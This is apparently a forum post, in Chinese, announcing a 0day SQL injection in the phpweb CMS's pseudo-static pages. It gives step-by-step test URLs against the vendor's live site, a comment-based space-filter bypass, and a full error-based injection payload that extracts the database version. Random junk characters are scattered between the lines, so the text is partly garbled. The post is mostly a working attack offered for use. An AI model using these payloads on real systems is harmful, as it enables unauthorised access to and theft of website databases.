phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
7 v9 k% ?( p+ E1 @
主站：http://phpweb.net/
; T9 u8 D! B8 u# K8 b0 A; G+ R加’检测：

- l$ f0 J1 J. V4 o& Z+ a7 `http://www.phpweb.net/down/html/?772′.html

, t# j, J+ z, K* Z" R出错
4 H& u+ X& M/ v  W1 k5 h7 p存在注入。
, G) s6 `, C0 r6 I不能用空格，只能用/*罗
' P& }" P3 X: S& g0 q* [. shttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
+ Z- |3 x" L- U9 [
( m9 L) g% _; Chttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
: k( G% x" A  N# z' y7 {爆数据库版本：
: ]4 q( Z" U/ p; S4 G) n+ y
/ r* L; X5 A- y& ?4 i?
) ]  ?" E% t+ @1 g4 g" R- c7 o8 {; O2 P1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
" ?, x& k  n8 o) l+ h& W5 s) n更新日期: 2013-01-03 13:39:50